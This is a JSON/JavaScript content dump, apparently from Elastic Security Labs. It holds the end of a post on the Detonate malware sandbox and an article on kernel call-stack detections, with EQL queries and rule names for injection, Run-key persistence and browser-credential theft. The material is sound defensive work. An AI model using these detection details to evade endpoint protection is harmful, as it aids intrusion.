\",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/vpc/docs/routes\",rel:\"nofollow\",children:\"routes\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/firewall/docs/firewalls\",rel:\"nofollow\",children:\"firewall rules\"}),\", and AWS\\u2019s \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/vpc/latest/userguide/security-groups.html\",rel:\"nofollow\",children:\"security groups\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"We also make use of \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/vpc/docs/flow-logs\",rel:\"nofollow\",children:\"VPC Flow Logs\"}),\" in GCE. These logs allow us to see private network traffic initiated by sandbox VMs in our VPC.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"telemetry-collection\",children:\"Telemetry collection\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To observe detonations, we use the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/elastic-agent\",rel:\"nofollow\",children:\"Elastic Agent\"}),\" with the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/install-endpoint.html\",rel:\"nofollow\",children:\"Elastic Defend\"}),\" integration installed with all protections in \\u201CDetect\\u201D (instead of \\u201CProtect\\u201D) mode. This allows us to collect as much information from a VM as we can, while simultaneously allowing the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security\",rel:\"nofollow\",children:\"Elastic Security\"}),\" solution to produce alerts and detections.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image6.png\",alt:\"The policy settings in Elastic Defend integration for Detonate.\",width:\"1440\",height:\"1520\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We cover two use cases with this architecture: we can validate protections (comparing events and alerts produced for different OS versions, agent versions, security artifacts deployed, etc) and collect telemetry for analysis (for fresh samples or novel malware) at the same time. All data collected is kept in a persistent Elastic cluster and is available for our researchers.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"running-in-production\",children:\"Running in production\"}),`\n`,(0,t.jsx)(e.p,{children:\"Recently we completed a full month of running Detonate pipeline in production, under the load of multiple data integrations, serving internal users through UI at the same time. Our record so far is 1034 detonations in a single day, and so far, we haven\\u2019t seen any scalability or reliability issues.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image4.png\",alt:\"Data from our internal Detonate telemetry, visualized in Kibana.\",width:\"1440\",height:\"1088\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The bulk of the submissions are Windows-specific samples, for now. We are working on increasing our coverage of Linux and macOS as well \\u2013 stay tuned for the research blog posts coming soon!\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image7.png\",alt:\"Additional visualization types can help us further break down how Detonate is being used.\",width:\"1440\",height:\"1088\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We are constantly improving our support for various file types, making sure the detonation is as close to the intended trigger behavior as possible.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Looking at the detonations from the last month, we see that most of the tasks were completed in under 13 minutes (with a median of 515 seconds). This time includes task data preparation, VM provisioning and cleanup, sample execution, and post-detonation processing.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/into-the-weeds-how-we-run-detonate/image14.jpg\",alt:\"Data from our internal Detonate telemetry, generated using custom Python code.\",width:\"1440\",height:\"953\"})}),`\n`,(0,t.jsx)(e.p,{children:\"These are still early days of the service, so it is normal to see the outliers. Since most of the time in a task is spent waiting for a VM to provision, we can improve the overall execution time by using custom VM images, pre-starting VM instances, and optimizing the startup scripts.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"whats-next\",children:\"What's next?\"}),`\n`,(0,t.jsx)(e.p,{children:\"Now that you see how Detonate works, our next posts will dive into more detailed use cases of Detonate. We\\u2019ll go further into how these detonations turn into protecting more of our users, including right here at Elastic!\"})]})}function k(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(h,n)})):h(n)}var T=k;return v(x);})();\n;return Component;"},"_id":"articles/into-the-weeds-how-we-run-detonate.mdx","_raw":{"sourceFilePath":"articles/into-the-weeds-how-we-run-detonate.mdx","sourceFileName":"into-the-weeds-how-we-run-detonate.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/into-the-weeds-how-we-run-detonate"},"type":"Article","imageUrl":"/assets/images/into-the-weeds-how-we-run-detonate/photo-edited-02@2x.jpg","readingTime":"10 min read","series":"","url":"/into-the-weeds-how-we-run-detonate","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Architecture","href":"#architecture"},{"level":3,"title":"API server","href":"#api-server"},{"level":4,"title":"Interacting with the API server - CLI","href":"#interacting-with-the-api-server---cli"},{"level":4,"title":"Interacting with the API server - Web UI","href":"#interacting-with-the-api-server---web-ui"},{"level":4,"title":"Interacting with the API server - HTTP client","href":"#interacting-with-the-api-server---http-client"},{"level":3,"title":"Queues","href":"#queues"},{"level":3,"title":"Workers","href":"#workers"},{"level":2,"title":"Detonations","href":"#detonations"},{"level":3,"title":"VM provisioning","href":"#vm-provisioning"},{"level":3,"title":"Network configuration","href":"#network-configuration"},{"level":3,"title":"Telemetry collection","href":"#telemetry-collection"},{"level":2,"title":"Running in production","href":"#running-in-production"},{"level":2,"title":"What's next?","href":"#whats-next"}],"author":[{"title":"Jessica David","slug":"jessica-david","description":"Principal Data Engineer, Elastic","image":"jessica-david.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var r=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),f=(t,e)=\u003e{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let i of j(e))!l.call(t,i)\u0026\u0026i!==n\u0026\u0026r(t,i,{get:()=\u003ee[i],enumerable:!(s=g(e,i))||s.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?u(x(t)):{},c(e||!t||!t.__esModule?r(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ec(r({},\"__esModule\",{value:!0}),t);var d=p((X,o)=\u003e{o.exports=_jsx_runtime});var E={};f(E,{default:()=\u003eC,frontmatter:()=\u003ev});var a=_(d()),v={title:\"Jessica David\",description:\"Principal Data Engineer, Elastic\",slug:\"jessica-david\",image:\"jessica-david.jpg\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=M;return D(E);})();\n;return Component;"},"_id":"authors/jessica-david.mdx","_raw":{"sourceFilePath":"authors/jessica-david.mdx","sourceFileName":"jessica-david.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jessica-david"},"type":"Author","imageUrl":"/assets/images/authors/jessica-david.jpg","url":"/authors/jessica-david"},{"title":"Sergey Polzunov","slug":"sergey-polzunov","description":"Senior Data Security Data Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,i)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!p.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(i=m(e,o))||i.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?l(f(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(a({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var v={};d(v,{default:()=\u003eS,frontmatter:()=\u003eD});var r=j(u()),D={title:\"Sergey Polzunov\",description:\"Senior Data Security Data Engineer, Elastic\",slug:\"sergey-polzunov\"};function g(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(g,t)})):g(t)}var S=M;return y(v);})();\n;return Component;"},"_id":"authors/sergey-polzunov.mdx","_raw":{"sourceFilePath":"authors/sergey-polzunov.mdx","sourceFileName":"sergey-polzunov.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/sergey-polzunov"},"type":"Author","imageUrl":"","url":"/authors/sergey-polzunov"},{"title":"Hez Carty","slug":"hez-carty","description":"Senior Manager, Threat Intelligence Services, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(c=x(e,a))||c.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},i(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003ei(o({},\"__esModule\",{value:!0}),t);var u=d((F,s)=\u003e{s.exports=_jsx_runtime});var z={};j(z,{default:()=\u003eC,frontmatter:()=\u003eh});var r=p(u()),h={title:\"Hez Carty\",description:\"Senior Manager, Threat Intelligence Services, Elastic\",slug:\"hez-carty\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=y;return M(z);})();\n;return Component;"},"_id":"authors/hez-carty.mdx","_raw":{"sourceFilePath":"authors/hez-carty.mdx","sourceFileName":"hez-carty.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/hez-carty"},"type":"Author","imageUrl":"","url":"/authors/hez-carty"}],"category":[{"title":"Detection science","slug":"detection-science","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(d(t)):{},i(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(c({},\"__esModule\",{value:!0}),t);var u=j((h,a)=\u003e{a.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Detection science\",slug:\"detection-science\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"categories/detection-science.mdx","_raw":{"sourceFilePath":"categories/detection-science.mdx","sourceFileName":"detection-science.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/detection-science"},"type":"Category","url":"/categories/detection-science"},{"title":"Tools","slug":"tools","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),d=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},c=(t,n,e,a)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(a=l(n,r))||a.enumerable});return t};var p=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},c(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=j((h,u)=\u003e{u.exports=_jsx_runtime});var X={};d(X,{default:()=\u003eF,frontmatter:()=\u003eC});var o=p(i()),C={title:\"Tools\",slug:\"tools\"};function m(t){return(0,o.jsx)(o.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,o.jsx)(n,Object.assign({},t,{children:(0,o.jsx)(m,t)})):m(t)}var F=D;return M(X);})();\n;return Component;"},"_id":"categories/tools.mdx","_raw":{"sourceFilePath":"categories/tools.mdx","sourceFileName":"tools.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/tools"},"type":"Category","url":"/categories/tools"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Upping the Ante: Detecting In-Memory Threats with Kernel Call Stacks","slug":"upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks","date":"2023-05-31","description":"We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.","image":"blog-thumb-coin-stacks.jpg","body":{"raw":"\n## Intro\n\nElastic Security for endpoint, with its roots in Endgame, has long led the industry for in-memory threat detection. We [pioneered](https://www.elastic.co/security-labs/hunting-memory) and patented many detection technologies such as kernel [thread start](https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/20170329973) preventions, call stack [anomaly hunting](https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/11151247), and [module stomping](https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/11151251) discovery. However, adversaries continue to innovate and evade detections. For example, in response to our improved [memory signature](https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures) protection, adversaries developed a flurry of new [sleep based](https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature/) evasions. We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.\n\nBefore we get started, it's important to know what call stacks are and why they’re valuable for detection engineering. A [call stack](https://en.wikipedia.org/wiki/Call_stack) is the ordered sequence of functions that are executed to achieve a behavior of a program. It shows in detail which functions (and their associated modules) were executed to lead to a behavior like a new file or process being created. Knowing a behavior’s call stack, we can build detections with detailed contextual information about what a program is doing and how it’s doing it.\n\n## Deep Visibility\n\nThe new call stack based detection capability leverages our existing deep in-line kernel visibility for the most common system behaviors (process, file, registry, library, etc). With each event, we capture the call stack for the activity. This is later enriched with module information, symbols, and evidence of suspicious activity. This gives us [procmon](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)-like visibility in real-time, powering advanced preventions for in-memory tradecraft.\n\nProcess creation call stack fields : \n\nFile, registry and library call stack fields: \n\n## New Rules\n\nAdditional visibility wouldn’t raise the bar unless we could pair it with tuned, high confidence preventions. In 8.8, behavior protection comes out of the box with 30+ rules to provide us with high efficacy against cutting edge attacker techniques such as: - Direct syscalls - Callback-based evasion - Module Stomping - Library loading from unbacked region - Process created from unbacked region - Many more\n\nCall stacks are a powerful data source that can be used to improve protection against non-memory-based threats as well. For example, the following EQL queries look for the creation of a child process or an executable file extension from an Office process with a call stack containing `VBE7.dll` (a strong sign of the presence of a macro-enabled document). This increases the signal and coverage of the rule logic while reducing the necessary tuning efforts compared to just process or file creation events with no call stack information:\n\n\n\nBelow are some examples of matches where Macro-enabled malicious Excel and Word documents spawning a child process where the call stack refers to `vbe7.dll` :\n\n\n\nHere, we can see a malicious XLL file opened via Excel spawning a legitimate `browser\\_broker.exe` to inject into. The parent call stack indicates that the process creation call is coming from the `[xlAutoOpen](https://learn.microsoft.com/en-us/office/client-developer/excel/xlautoopen)` function:\n\n\n\nThe same enrichment is also valuable in library load and registry events. Below is an example of loading the Microsoft Common Language Runtime `CLR.DLL` module from a suspicious call stack (unbacked memory region with RWX permissions) using the [Sliver execute-assembly](https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools) command to load external .NET assemblies:\n\n```\nlibrary where dll.name : \"clr.dll\" and\nprocess.thread.Ext.call_stack_summary : \"*mscoreei.dll|Unbacked*\"\n```\n\n\n\nHunting for suspicious modification of certain registry keys such as the Run key for persistence tends to be noisy and very common in legit software but if we add the call stack signal to the logic, the suspicion level is significantly increased :\n\n```\nregistry where \n registry.path : \"H*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\*\"\n// the creating thread's stack contains frames pointing outside any known executable image\n and process.thread.Ext.call_stack_contains_unbacked == true\n```\n\n\n\nAnother “fun” example is the use of the call stack information to detect rogue instances of core system processes that normally have very specific functionality. By signaturing their normal call stacks, we can easily identify outliers. For example, `WerFault.exe` and `wermgr.exe` are among the most attractive targets for masquerading:\n\n\n\nExamples of matches:\n\n\n\nApart from the use of call stack data for finding suspicious behaviors, it’s also useful when it comes to excluding false positives from behavior detections in a more granular way. This also helps reduce evasion opportunities.\n\nA good example is a detection rule looking for unusual Microsoft Office child processes. This rule is used to [exclude](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_microsoft_office_fetching_remote_content.toml#L26) `splwow64.exe` , which can be legitimately spawned by printing activity. Excluding it by `process.executable` creates an evasion opportunity via process hollowing or injection, which can make the process tree look normal. We can now mitigate this evasion by requiring such process creations to come from `winspool.drv!OpenPrinter` :\n\n```\nprocess where event.action == \"start\" and\n process.parent.name : (\"WINWORD.EXE\", \"EXCEL.EXE\", \"POWERPNT.EXE\", \"MSACCESS.EXE\", \"mspub.exe\", \"fltldr.exe\", \"visio.exe\") and\n// excluding splwow64.exe only if it’s parent callstack is coming from winspool.drv module \nnot (process.executable : \"?:\\\\Windows\\\\splwow64.exe\" and``_arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: (\"?:\\\\Windows\\\\System32\\\\winspool.drv!OpenPrinter*\", \"?:\\\\Windows\\\\SysWOW64\\\\winspool.drv!OpenPrinter*\")))\n```\n\n\n\nTo reduce event volumes, call stack information is collected on the endpoint and processed for detections but not always streamed in events. To always include call stacks in streamed events an advanced option is available in Endpoint policy:\n\n\n\n## C2 Coverage\n\nElastic Endpoint makes quick work detecting some of the top C2 frameworks active today. See below for a screenshot detecting Nighthawk, BruteRatel, CobaltStrike, and ATP41’s [StealthVector](https://www.trendmicro.com/vinfo/gb/security/news/cybercrime-and-digital-threats/earth-baku-returns).\n\n\n\n\n\n## Conclusion\n\nWhile this capability gives us a lead over the cutting edge of in-memory tradecraft today, attackers will no doubt develop [new innovations](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) in attempts to evade it. That’s why we are already hard at work to deliver the next set of leading in-memory detections. Stay tuned!\n\n## Resources\n\nRules released with 8.8: \n- [Execution from a Macro Enabled Office Document](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_execution_from_a_macro_enabled_office_document.toml) \n- [Suspicious Macro Execution via Windows Scripts](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_macro_execution_via_windows_scripts.toml) \n- [Suspicious File Dropped by a Macro Enabled Document](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_file_dropped_by_a_macro_enabled_document.toml) \n- [Shortcut File Modification via Macro Enabled Document](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_shortcut_file_modification_via_macro_enabled_document.toml) \n- [DLL Loaded from a Macro Enabled Document](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_dll_loaded_from_a_macro_enabled_document.toml) \n- [Process Creation via Microsoft Office Add-Ins](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_process_creation_via_microsoft_office_add_ins.toml) \n- [Registry or File Modification from Suspicious Memory](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_registry_or_file_modification_from_suspicious_memory.toml) \n- [Access to Browser Credentials from Suspicious Memory](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml) \n- [Potential NTDLL Memory Unhooking](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_ntdll_memory_unhooking.toml) \n- [Microsoft Common Language Runtime Loaded from Suspicious Memory](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_microsoft_common_language_runtime_loaded_from_suspicious_memory.toml) \n- [Common Language Runtime Loaded via an Unsigned Module](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_common_language_runtime_loaded_via_an_unsigned_module.toml) \n- [Potential Masquerading as Windows Error Manager](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml) \n- [Suspicious Image Load via LdrLoadDLL](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_image_load_via_ldrloaddll.toml) \n- [Library Loaded via a CallBack Function](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_library_loaded_via_a_callback_function.toml) \n- [Process Creation from Modified NTDLL](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_modified_ntdll.toml) \n- [DLL Side Loading via a Copied Microsoft Executable](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_dll_side_loading_via_a_copied_microsoft_executable.toml) \n- [Potential Injection via the Console Window Class](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_injection_via_the_console_window_class.toml) \n- [Suspicious Unsigned DLL Loaded by a Trusted Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_unsigned_dll_loaded_by_a_trusted_process.toml) \n- [Process Started via Remote Thread](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_stared_via_remote_thread.toml) \n- [Potential Injection via DotNET Debugging](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_injection_via_dotnet_debugging.toml) \n- [Potential Process Creation via ShellCode](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_process_creation_via_shellcode.toml) \n- [Module Stomping form a Copied Library](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_module_stomping_form_a_copied_library.toml) \n- [Process Creation from a Stomped Module](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_a_stomped_module.toml) \n- [Parallel NTDLL Loaded from Unbacked Memory](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parallel_ntdll_loaded_from_unbacked_memory.toml) \n- [Potential Operation via Direct Syscall](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_operation_via_direct_syscall.toml) \n- [Potential Process Creation via Direct Syscall](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_process_creation_via_direct_syscall.toml) \n- [Process from Archive or Removable Media via Unbacked Code](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_from_archive_or_removable_media_via_unbacked_code.toml) \n- [Network Module Loaded from Suspicious Unbacked Memory](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml) \n- [Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml) \n- [Windows Console Execution from Unbacked Memory](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_windows_console_execution_from_unbacked_memory.toml) \n- [Process Creation from Unbacked Memory via Unsigned Parent](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_unbacked_memory_via_unsigned_parent.toml)\n","code":"var Component=(()=\u003e{var h=Object.create;var n=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),_=(t,e)=\u003e{for(var o in e)n(t,o,{get:e[o],enumerable:!0})},s=(t,e,o,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of p(e))!f.call(t,a)\u0026\u0026a!==o\u0026\u0026n(t,a,{get:()=\u003ee[a],enumerable:!(r=m(e,a))||r.enumerable});return t};var b=(t,e,o)=\u003e(o=t!=null?h(u(t)):{},s(e||!t||!t.__esModule?n(o,\"default\",{value:t,enumerable:!0}):o,t)),w=t=\u003es(n({},\"__esModule\",{value:!0}),t);var c=g((E,l)=\u003e{l.exports=_jsx_runtime});var x={};_(x,{default:()=\u003ek,frontmatter:()=\u003ev});var i=b(c()),v={title:\"Upping the Ante: Detecting In-Memory Threats with Kernel Call Stacks\",slug:\"upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks\",date:\"2023-05-31\",description:\"We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.\",author:[{slug:\"joe-desimone\"},{slug:\"samir-bousseaden\"},{slug:\"gabriel-landau\"}],image:\"blog-thumb-coin-stacks.jpg\",category:[{slug:\"security-research\"}]};function d(t){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",img:\"img\",code:\"code\",pre:\"pre\",ul:\"ul\",li:\"li\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"intro\",children:\"Intro\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security for endpoint, with its roots in Endgame, has long led the industry for in-memory threat detection. We \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/hunting-memory\",rel:\"nofollow\",children:\"pioneered\"}),\" and patented many detection technologies such as kernel \",(0,i.jsx)(e.a,{href:\"https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/20170329973\",rel:\"nofollow\",children:\"thread start\"}),\" preventions, call stack \",(0,i.jsx)(e.a,{href:\"https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/11151247\",rel:\"nofollow\",children:\"anomaly hunting\"}),\", and \",(0,i.jsx)(e.a,{href:\"https://image-ppubs.uspto.gov/dirsearch-public/print/downloadPdf/11151251\",rel:\"nofollow\",children:\"module stomping\"}),\" discovery. However, adversaries continue to innovate and evade detections. For example, in response to our improved \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures\",rel:\"nofollow\",children:\"memory signature\"}),\" protection, adversaries developed a flurry of new \",(0,i.jsx)(e.a,{href:\"https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature/\",rel:\"nofollow\",children:\"sleep based\"}),\" evasions. We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Before we get 